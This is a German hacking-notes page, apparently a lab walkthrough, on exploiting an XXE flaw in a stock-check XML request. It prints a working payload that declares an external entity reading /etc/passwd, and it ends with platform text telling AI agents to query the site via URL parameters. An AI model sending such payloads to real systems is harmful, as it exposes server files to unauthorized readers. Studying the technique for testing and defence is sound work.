> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xxe/xxe-file-read-via-external-entities.md).

# XXE-Dateilesen über externe Entitäten

### XXE ausnutzen, indem externe Entitäten verwendet werden, um Dateien abzurufen

Nutzen Sie eine XXE-Schwachstelle aus, indem Sie eine externe Entität deklarieren, um den Inhalt einer Datei wiederherzustellen (hier `/etc/passwd`) aus dem **Bestand prüfen** Funktion, die XML analysiert und unerwartete Werte zurückgibt.

<figure><img src="/files/4ec12aeff6bc2d12f751f19bde9d0ebfba576921" alt=""><figcaption></figcaption></figure>

Die Funktion sendet XML wie dieses:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/932a115cff975ef909f31035c23f94763cec6a9a" alt=""><figcaption></figcaption></figure>

Wenn der numerische Wert von `<productId>` durch einen String ersetzt wird, wird dieser Wert in der Antwort reflektiert (nützlich für die Ausführung):

```xml
<productId>
Test
</productId>
```

<figure><img src="/files/b6072aa543f5b9cdc247d0dd756b76f821d56a45" alt=""><figcaption></figcaption></figure>

1. Definieren Sie eine externe Entität in einer DOCTYPE-Deklaration, die auf die Systemdatei verweist.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Rufen Sie diese Entität im `<productId>` Feld auf, das von der Anwendung zurückgegeben wird.

```
&myFile;
```

3. Die Antwort sollte dann den Inhalt der Zieldatei enthalten (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/1bc210ba9cf10a08cfab57b7406e7ddededa058a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
